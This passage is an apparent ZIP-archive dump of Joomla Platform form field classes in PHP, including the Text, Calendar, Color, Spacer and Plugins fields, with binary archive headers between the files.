/** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Integer'; /** * Method to get the field options. * * @return array The field option objects. * * @since 1.7.0 */ protected function getOptions() { $options = array(); // Initialize some field attributes. $first = (int) $this->element['first']; $last = (int) $this->element['last']; $step = (int) $this->element['step']; // Sanity checks. if ($step == 0) { // Step of 0 will create an endless loop. return $options; } elseif ($first < $last && $step < 0) { // A negative step will never reach the last number. return $options; } elseif ($first > $last && $step > 0) { // A position step will never reach the last number. return $options; } elseif ($step < 0) { // Build the options array backwards. for ($i = $first; $i >= $last; $i += $step) { $options[] = JHtml::_('select.option', $i); } } else { // Build the options array. for ($i = $first; $i <= $last; $i += $step) { $options[] = JHtml::_('select.option', $i); } } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PK�\%��**joomla/form/fields/note.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Supports a one line text field. * * @link http://www.w3.org/TR/html-markup/input.text.html#input.text * @since 1.7.0 */ class JFormFieldNote extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Note'; /** * Method to get the field label markup. * * @return string The field label markup. * * @since 1.7.0 */ protected function getLabel() { if (empty($this->element['label']) && empty($this->element['description'])) { return ''; } $title = $this->element['label'] ? (string) $this->element['label'] : ($this->element['title'] ? (string) $this->element['title'] : ''); $heading = $this->element['heading'] ? (string) $this->element['heading'] : 'h4'; $description = (string) $this->element['description']; $class = !empty($this->class) ? ' class="' . $this->class . '"' : ''; $close = (string) $this->element['close']; $html = array(); if ($close) { $close = $close == 'true' ? 'alert' : $close; $html[] = '<button type="button" class="close" data-dismiss="' . $close . '">×</button>'; } $html[] = !empty($title) ? '<' . $heading . '>' . JText::_($title) . '</' . $heading . '>' : ''; $html[] = !empty($description) ? JText::_($description) : ''; return '</div><div ' . $class . '>' . implode('', $html); } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { return ''; } } PK�\�M��joomla/form/fields/text.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Supports a one line text field. * * @link http://www.w3.org/TR/html-markup/input.text.html#input.text * @since 1.7.0 */ class JFormFieldText extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Text'; /** * The allowable maxlength of the field. * * @var integer * @since 3.2 */ protected $maxLength; /** * The mode of input associated with the field. * * @var mixed * @since 3.2 */ protected $inputmode; /** * The name of the form field direction (ltr or rtl). * * @var string * @since 3.2 */ protected $dirname; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.text'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'maxLength': case 'dirname': case 'inputmode': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'maxLength': $this->maxLength = (int) $value; break; case 'dirname': $value = (string) $value; $this->dirname = ($value == $name || $value == 'true' || $value == '1'); break; case 'inputmode': $this->inputmode = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $result = parent::setup($element, $value, $group); if ($result == true) { $inputmode = (string) $this->element['inputmode']; $dirname = (string) $this->element['dirname']; $this->inputmode = ''; $inputmode = preg_replace('/\s+/', ' ', trim($inputmode)); $inputmode = explode(' ', $inputmode); if (!empty($inputmode)) { $defaultInputmode = in_array('default', $inputmode) ? JText::_('JLIB_FORM_INPUTMODE') . ' ' : ''; foreach (array_keys($inputmode, 'default') as $key) { unset($inputmode[$key]); } $this->inputmode = $defaultInputmode . implode(' ', $inputmode); } // Set the dirname. $dirname = ((string) $dirname == 'dirname' || $dirname == 'true' || $dirname == '1'); $this->dirname = $dirname ? $this->getName($this->fieldname . '_dir') : false; $this->maxLength = (int) $this->element['maxlength']; } return $result; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { if ($this->element['useglobal']) { $component = JFactory::getApplication()->input->getCmd('option'); // Get correct component for menu items if ($component == 'com_menus') { $link = $this->form->getData()->get('link'); $uri = new JUri($link); $component = $uri->getVar('option', 'com_menus'); } $params = JComponentHelper::getParams($component); $value = $params->get($this->fieldname); // Try with global configuration if (is_null($value)) { $value = JFactory::getConfig()->get($this->fieldname); } // Try with menu configuration if (is_null($value) && JFactory::getApplication()->input->getCmd('option') == 'com_menus') { $value = JComponentHelper::getParams('com_menus')->get($this->fieldname); } if (!is_null($value)) { $value = (string) $value; $this->hint = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE', $value); } } return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to get the field options. * * @return array The field option objects. * * @since 3.4 */ protected function getOptions() { $options = array(); foreach ($this->element->children() as $option) { // Only add <option /> elements. if ($option->getName() != 'option') { continue; } // Create a new option object based on the <option /> element. $options[] = JHtml::_( 'select.option', (string) $option['value'], JText::alt(trim((string) $option), preg_replace('/[^a-zA-Z0-9_\-]/', '_', $this->fieldname)), 'value', 'text' ); } return $options; } /** * Method to get the field suggestions. * * @return array The field option objects. * * @since 3.2 * @deprecated 4.0 Use getOptions instead */ protected function getSuggestions() { return $this->getOptions(); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $maxLength = !empty($this->maxLength) ? ' maxlength="' . $this->maxLength . '"' : ''; $inputmode = !empty($this->inputmode) ? ' inputmode="' . $this->inputmode . '"' : ''; $dirname = !empty($this->dirname) ? ' dirname="' . $this->dirname . '"' : ''; /* Get the field options for the datalist. Note: getSuggestions() is deprecated and will be changed to getOptions() with 4.0. */ $options = (array) $this->getSuggestions(); $extraData = array( 'maxLength' => $maxLength, 'pattern' => $this->pattern, 'inputmode' => $inputmode, 'dirname' => $dirname, 'options' => $options, ); return array_merge($data, $extraData); } } PK�\+u�[$[$joomla/form/fields/calendar.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * * Provides a pop up date picker linked to a button. * Optionally may be filtered to use user's or server's time zone. * * @since 1.7.0 */ class JFormFieldCalendar extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Calendar'; /** * The allowable maxlength of calendar field. * * @var integer * @since 3.2 */ protected $maxlength; /** * The format of date and time. * * @var integer * @since 3.2 */ protected $format; /** * The filter. * * @var integer * @since 3.2 */ protected $filter; /** * The minimum year number to subtract/add from the current year * * @var integer * @since 3.7.0 */ protected $minyear; /** * The maximum year number to subtract/add from the current year * * @var integer * @since 3.7.0 */ protected $maxyear; /** * Name of the layout being used to render the field * * @var string * @since 3.7.0 */ protected $layout = 'joomla.form.field.calendar'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'maxlength': case 'format': case 'filter': case 'timeformat': case 'todaybutton': case 'singleheader': case 'weeknumbers': case 'showtime': case 'filltable': case 'minyear': case 'maxyear': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'maxlength': case 'timeformat': $this->$name = (int) $value; break; case 'todaybutton': case 'singleheader': case 'weeknumbers': case 'showtime': case 'filltable': case 'format': case 'filter': case 'minyear': case 'maxyear': $this->$name = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->maxlength = (int) $this->element['maxlength'] ? (int) $this->element['maxlength'] : 45; $this->format = (string) $this->element['format'] ? (string) $this->element['format'] : '%Y-%m-%d'; $this->filter = (string) $this->element['filter'] ? (string) $this->element['filter'] : 'USER_UTC'; $this->todaybutton = (string) $this->element['todaybutton'] ? (string) $this->element['todaybutton'] : 'true'; $this->weeknumbers = (string) $this->element['weeknumbers'] ? (string) $this->element['weeknumbers'] : 'true'; $this->showtime = (string) $this->element['showtime'] ? (string) $this->element['showtime'] : 'false'; $this->filltable = (string) $this->element['filltable'] ? (string) $this->element['filltable'] : 'true'; $this->timeformat = (int) $this->element['timeformat'] ? (int) $this->element['timeformat'] : 24; $this->singleheader = (string) $this->element['singleheader'] ? (string) $this->element['singleheader'] : 'false'; $this->minyear = strlen((string) $this->element['minyear']) ? (string) $this->element['minyear'] : null; $this->maxyear = strlen((string) $this->element['maxyear']) ? (string) $this->element['maxyear'] : null; if ($this->maxyear < 0 || $this->minyear > 0) { $this->todaybutton = 'false'; } } return $return; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { $config = JFactory::getConfig(); $user = JFactory::getUser(); // Translate the format if requested $translateFormat = (string) $this->element['translateformat']; if ($translateFormat && $translateFormat != 'false') { $showTime = (string) $this->element['showtime']; $lang = \JFactory::getLanguage(); $debug = $lang->setDebug(false); if ($showTime && $showTime != 'false') { $this->format = JText::_('DATE_FORMAT_CALENDAR_DATETIME'); } else { $this->format = JText::_('DATE_FORMAT_CALENDAR_DATE'); } $lang->setDebug($debug); } // If a known filter is given use it. switch (strtoupper($this->filter)) { case 'SERVER_UTC': // Convert a date to UTC based on the server timezone. if ($this->value && $this->value != JFactory::getDbo()->getNullDate()) { // Get a date object based on the correct timezone. $date = JFactory::getDate($this->value, 'UTC'); $date->setTimezone(new DateTimeZone($config->get('offset'))); // Transform the date string. $this->value = $date->format('Y-m-d H:i:s', true, false); } break; case 'USER_UTC': // Convert a date to UTC based on the user timezone. if ($this->value && $this->value != JFactory::getDbo()->getNullDate()) { // Get a date object based on the correct timezone. $date = JFactory::getDate($this->value, 'UTC'); $date->setTimezone($user->getTimezone()); // Transform the date string. $this->value = $date->format('Y-m-d H:i:s', true, false); } break; } // Format value when not nulldate ('0000-00-00 00:00:00'), otherwise blank it as it would result in 1970-01-01. if ($this->value && $this->value != JFactory::getDbo()->getNullDate() && strtotime($this->value) !== false) { $tz = date_default_timezone_get(); date_default_timezone_set('UTC'); $this->value = strftime($this->format, strtotime($this->value)); date_default_timezone_set($tz); } else { $this->value = ''; } return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7.0 */ protected function getLayoutData() { $data = parent::getLayoutData(); $tag = JFactory::getLanguage()->getTag(); $calendar = JFactory::getLanguage()->getCalendar(); $direction = strtolower(JFactory::getDocument()->getDirection()); // Get the appropriate file for the current language date helper $helperPath = 'system/fields/calendar-locales/date/gregorian/date-helper.min.js'; if (!empty($calendar) && is_dir(JPATH_ROOT . '/media/system/js/fields/calendar-locales/date/' . strtolower($calendar))) { $helperPath = 'system/fields/calendar-locales/date/' . strtolower($calendar) . '/date-helper.min.js'; } // Get the appropriate locale file for the current language $localesPath = 'system/fields/calendar-locales/en.js'; if (is_file(JPATH_ROOT . '/media/system/js/fields/calendar-locales/' . strtolower($tag) . '.js')) { $localesPath = 'system/fields/calendar-locales/' . strtolower($tag) . '.js'; } elseif (is_file(JPATH_ROOT . '/media/system/js/fields/calendar-locales/' . $tag . '.js')) { $localesPath = 'system/fields/calendar-locales/' . $tag . '.js'; } elseif (is_file(JPATH_ROOT . '/media/system/js/fields/calendar-locales/' . strtolower(substr($tag, 0, -3)) . '.js')) { $localesPath = 'system/fields/calendar-locales/' . strtolower(substr($tag, 0, -3)) . '.js'; } $extraData = array( 'value' => $this->value, 'maxLength' => $this->maxlength, 'format' => $this->format, 'filter' => $this->filter, 'todaybutton' => ($this->todaybutton === 'true') ? 1 : 0, 'weeknumbers' => ($this->weeknumbers === 'true') ? 1 : 0, 'showtime' => ($this->showtime === 'true') ? 1 : 0, 'filltable' => ($this->filltable === 'true') ? 1 : 0, 'timeformat' => $this->timeformat, 'singleheader' => ($this->singleheader === 'true') ? 1 : 0, 'helperPath' => $helperPath, 'localesPath' => $localesPath, 'minYear' => $this->minyear, 'maxYear' => $this->maxyear, 'direction' => $direction, ); return array_merge($data, $extraData); } } PK�\��joomla/form/fields/color.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Color Form Field class for the Joomla Platform. * This implementation is designed to be compatible with HTML5's `<input type="color">` * * @link http://www.w3.org/TR/html-markup/input.color.html * @since 1.7.3 */ class JFormFieldColor extends JFormField { /** * The form field type. * * @var string * @since 1.7.3 */ protected $type = 'Color'; /** * The control. * * @var mixed * @since 3.2 */ protected $control = 'hue'; /** * The format. * * @var string * @since 3.6.0 */ protected $format = 'hex'; /** * The keywords (transparent,initial,inherit). * * @var string * @since 3.6.0 */ protected $keywords = ''; /** * The position. * * @var mixed * @since 3.2 */ protected $position = 'default'; /** * The colors. * * @var mixed * @since 3.2 */ protected $colors; /** * The split. * * @var integer * @since 3.2 */ protected $split = 3; /** * Name of the layout being used to render the field * * @var string * @since 3.5 */ protected $layout = 'joomla.form.field.color'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'control': case 'format': case 'keywords': case 'exclude': case 'colors': case 'split': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'split': $value = (int) $value; case 'control': case 'format': $this->$name = (string) $value; break; case 'keywords': $this->$name = (string) $value; break; case 'exclude': case 'colors': $this->$name = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->control = isset($this->element['control']) ? (string) $this->element['control'] : 'hue'; $this->format = isset($this->element['format']) ? (string) $this->element['format'] : 'hex'; $this->keywords = isset($this->element['keywords']) ? (string) $this->element['keywords'] : ''; $this->position = isset($this->element['position']) ? (string) $this->element['position'] : 'default'; $this->colors = (string) $this->element['colors']; $this->split = isset($this->element['split']) ? (int) $this->element['split'] : 3; } return $return; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 1.7.3 */ protected function getInput() { // Switch the layouts $this->layout = $this->control === 'simple' ? $this->layout . '.simple' : $this->layout . '.advanced'; // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.5 */ protected function getLayoutData() { $lang = JFactory::getLanguage(); $data = parent::getLayoutData(); $color = strtolower($this->value); $color = ! $color ? '' : $color; // Position of the panel can be: right (default), left, top or bottom (default RTL is left) $position = ' data-position="' . (($lang->isRTL() && $this->position == 'default') ? 'left' : $this->position) . '"'; if (!$color || in_array($color, array('none', 'transparent'))) { $color = 'none'; } elseif ($color['0'] != '#' && $this->format == 'hex') { $color = '#' . $color; } // Assign data for simple/advanced mode $controlModeData = $this->control === 'simple' ? $this->getSimpleModeLayoutData() : $this->getAdvancedModeLayoutData($lang); $extraData = array( 'color' => $color, 'format' => $this->format, 'keywords' => $this->keywords, 'position' => $position, 'validate' => $this->validate ); return array_merge($data, $extraData, $controlModeData); } /** * Method to get the data for the simple mode to be passed to the layout for rendering. * * @return array * * @since 3.5 */ protected function getSimpleModeLayoutData() { $colors = strtolower($this->colors); if (empty($colors)) { $colors = array( 'none', '#049cdb', '#46a546', '#9d261d', '#ffc40d', '#f89406', '#c3325f', '#7a43b6', '#ffffff', '#999999', '#555555', '#000000', ); } else { $colors = explode(',', $colors); } if (!$this->split) { $count = count($colors); if ($count % 5 == 0) { $split = 5; } else { if ($count % 4 == 0) { $split = 4; } } } $split = $this->split ? $this->split : 3; return array( 'colors' => $colors, 'split' => $split, ); } /** * Method to get the data for the advanced mode to be passed to the layout for rendering. * * @param object $lang The language object * * @return array * * @since 3.5 */ protected function getAdvancedModeLayoutData($lang) { return array( 'colors' => $this->colors, 'control' => $this->control, 'lang' => $lang, ); } } PK�\��P4tt!joomla/form/fields/components.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; use Joomla\Utilities\ArrayHelper; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Framework. * * @since 3.7.0 */ class JFormFieldComponents extends JFormFieldList { /** * The form field type. * * @var string * @since 3.7.0 */ protected $type = 'Components'; /** * Method to get a list of options for a list input. * * @return array An array of JHtml options. * * @since 2.5.0 */ protected function getOptions() { $db = JFactory::getDbo(); $query = $db->getQuery(true) ->select('name AS text, element AS value') ->from('#__extensions') ->where('enabled >= 1') ->where('type =' . $db->quote('component')); $items = $db->setQuery($query)->loadObjectList(); if ($items) { $lang = JFactory::getLanguage(); foreach ($items as &$item) { // Load language $extension = $item->value; $lang->load("$extension.sys", JPATH_ADMINISTRATOR, null, false, true) || $lang->load("$extension.sys", JPATH_ADMINISTRATOR . '/components/' . $extension, null, false, true); // Translate component name $item->text = JText::_($item->text); } // Sort by component name $items = ArrayHelper::sortObjects($items, 'text', 1, true, true); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $items); return $options; } } PK�\j����)joomla/form/fields/databaseconnection.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Provides a list of available database connections, optionally limiting to * a given list. * * @see JDatabaseDriver * @since 1.7.3 */ class JFormFieldDatabaseConnection extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.3 */ protected $type = 'DatabaseConnection'; /** * Method to get the list of database options. * * This method produces a drop down list of available databases supported * by JDatabaseDriver classes that are also supported by the application. * * @return array The field option objects. * * @since 1.7.3 * @see JDatabaseDriver::getConnectors() */ protected function getOptions() { // This gets the connectors available in the platform and supported by the server. $available = JDatabaseDriver::getConnectors(); /** * This gets the list of database types supported by the application. * This should be entered in the form definition as a comma separated list. * If no supported databases are listed, it is assumed all available databases * are supported. */ $supported = $this->element['supported']; if (!empty($supported)) { $supported = explode(',', $supported); foreach ($supported as $support) { if (in_array($support, $available)) { $options[$support] = JText::_(ucfirst($support)); } } } else { foreach ($available as $support) { $options[$support] = JText::_(ucfirst($support)); } } // This will come into play if an application is installed that requires // a database that is not available on the server. if (empty($options)) { $options[''] = JText::_('JNONE'); } return $options; } } PK�\�ۮZ��joomla/form/fields/combo.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Platform. * Implements a combo box field. * * @since 1.7.0 */ class JFormFieldCombo extends JFormFieldList { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Combo'; /** * Name of the layout being used to render the field * * @var string * @since 3.8.0 */ protected $layout = 'joomla.form.field.combo'; /** * Method to get the field input markup for a combo box field. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { if (empty($this->layout)) { throw new UnexpectedValueException(sprintf('%s has no layout assigned.', $this->name)); } return $this->getRenderer($this->layout)->render($this->getLayoutData()); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.8.0 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Get the field options. $options = $this->getOptions(); $extraData = array( 'options' => $options, ); return array_merge($data, $extraData); } } PK�\�aA�joomla/form/fields/url.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('text'); /** * Form Field class for the Joomla Platform. * Supports a URL text field * * @link http://www.w3.org/TR/html-markup/input.url.html#input.url * @see JFormRuleUrl for validation of full urls * @since 1.7.0 */ class JFormFieldUrl extends JFormFieldText { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Url'; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.url'; /** * Method to get the field input markup. * * @return string The field input markup. * * @since 3.1.2 (CMS) */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $maxLength = !empty($this->maxLength) ? ' maxlength="' . $this->maxLength . '"' : ''; // Note that the input type "url" is suitable only for external URLs, so if internal URLs are allowed // we have to use the input type "text" instead. $inputType = $this->element['relative'] ? 'type="text"' : 'type="url"'; $extraData = array( 'maxLength' => $maxLength, 'inputType' => $inputType, ); return array_merge($data, $extraData); } } PK�\�I��[[joomla/form/fields/textarea.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Supports a multi line area for entry of plain text * * @link http://www.w3.org/TR/html-markup/textarea.html#textarea * @since 1.7.0 */ class JFormFieldTextarea extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Textarea'; /** * The number of rows in textarea. * * @var mixed * @since 3.2 */ protected $rows; /** * The number of columns in textarea. * * @var mixed * @since 3.2 */ protected $columns; /** * The maximum number of characters in textarea. * * @var mixed * @since 3.4 */ protected $maxlength; /** * Name of the layout being used to render the field * * @var string * @since 3.7 */ protected $layout = 'joomla.form.field.textarea'; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'rows': case 'columns': case 'maxlength': return $this->$name; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'rows': case 'columns': case 'maxlength': $this->$name = (int) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->rows = isset($this->element['rows']) ? (int) $this->element['rows'] : false; $this->columns = isset($this->element['cols']) ? (int) $this->element['cols'] : false; $this->maxlength = isset($this->element['maxlength']) ? (int) $this->element['maxlength'] : false; } return $return; } /** * Method to get the textarea field input markup. * Use the rows and columns attributes to specify the dimensions of the area. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { // Trim the trailing line in the layout file return rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()), PHP_EOL); } /** * Method to get the data to be passed to the layout for rendering. * * @return array * * @since 3.7 */ protected function getLayoutData() { $data = parent::getLayoutData(); // Initialize some field attributes. $columns = $this->columns ? ' cols="' . $this->columns . '"' : ''; $rows = $this->rows ? ' rows="' . $this->rows . '"' : ''; $maxlength = $this->maxlength ? ' maxlength="' . $this->maxlength . '"' : ''; $extraData = array( 'maxlength' => $maxlength, 'rows' => $rows, 'columns' => $columns ); return array_merge($data, $extraData); } } PK�\�$J��joomla/form/fields/spacer.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Form Field class for the Joomla Platform. * Provides spacer markup to be used in form layouts. * * @since 1.7.0 */ class JFormFieldSpacer extends JFormField { /** * The form field type. * * @var string * @since 1.7.0 */ protected $type = 'Spacer'; /** * Method to get the field input markup for a spacer. * The spacer does not have accept input. * * @return string The field input markup. * * @since 1.7.0 */ protected function getInput() { return ' '; } /** * Method to get the field label markup for a spacer. * Use the label text or name from the XML element as the spacer or * Use a hr="true" to automatically generate plain hr markup * * @return string The field label markup. * * @since 1.7.0 */ protected function getLabel() { $html = array(); $class = !empty($this->class) ? ' class="' . $this->class . '"' : ''; $html[] = '<span class="spacer">'; $html[] = '<span class="before"></span>'; $html[] = '<span' . $class . '>'; if ((string) $this->element['hr'] == 'true') { $html[] = '<hr' . $class . ' />'; } else { $label = ''; // Get the label text from the XML element, defaulting to the element name. $text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name']; $text = $this->translateLabel ? JText::_($text) : $text; // Build the class for the label. $class = !empty($this->description) ? 'hasPopover' : ''; $class = $this->required == true ? $class . ' required' : $class; // Add the opening label tag and main attributes attributes. $label .= '<label id="' . $this->id . '-lbl" class="' . $class . '"'; // If a description is specified, use it to build a tooltip. if (!empty($this->description)) { JHtml::_('bootstrap.popover'); $label .= ' title="' . htmlspecialchars(trim($text, ':'), ENT_COMPAT, 'UTF-8') . '"'; $label .= ' data-content="' . htmlspecialchars( $this->translateDescription ? JText::_($this->description) : $this->description, ENT_COMPAT, 'UTF-8' ) . '"'; if (JFactory::getLanguage()->isRtl()) { $label .= ' data-placement="left"'; } } // Add the label text and closing tag. $label .= '>' . $text . '</label>'; $html[] = $label; } $html[] = '</span>'; $html[] = '<span class="after"></span>'; $html[] = '</span>'; return implode('', $html); } /** * Method to get the field title. * * @return string The field title. * * @since 1.7.0 */ protected function getTitle() { return $this->getLabel(); } /** * Method to get a control group with label and input. * * @param array $options Options to be passed into the rendering of the field * * @return string A string containing the html for the control group * * @since 3.7.3 */ public function renderField($options = array()) { $options['class'] = empty($options['class']) ? 'field-spacer' : $options['class'] . ' field-spacer'; return parent::renderField($options); } } PK�\EYs���joomla/form/fields/plugins.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Form * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); /** * Form Field class for the Joomla Framework. * * @since 2.5.0 */ class JFormFieldPlugins extends JFormFieldList { /** * The field type. * * @var string * @since 2.5.0 */ protected $type = 'Plugins'; /** * The path to folder for plugins. * * @var string * @since 3.2 */ protected $folder; /** * Method to get certain otherwise inaccessible properties from the form field object. * * @param string $name The property name for which to get the value. * * @return mixed The property value or null. * * @since 3.2 */ public function __get($name) { switch ($name) { case 'folder': return $this->folder; } return parent::__get($name); } /** * Method to set certain otherwise inaccessible properties of the form field object. * * @param string $name The property name for which to set the value. * @param mixed $value The value of the property. * * @return void * * @since 3.2 */ public function __set($name, $value) { switch ($name) { case 'folder': $this->folder = (string) $value; break; default: parent::__set($name, $value); } } /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the `<field>` tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @see JFormField::setup() * @since 3.2 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); if ($return) { $this->folder = (string) $this->element['folder']; } return $return; } /** * Method to get a list of options for a list input. * * @return array An array of JHtml options. * * @since 2.5.0 */ protected function getOptions() { $folder = $this->folder; $parentOptions = parent::getOptions(); if (!empty($folder)) { // Get list of 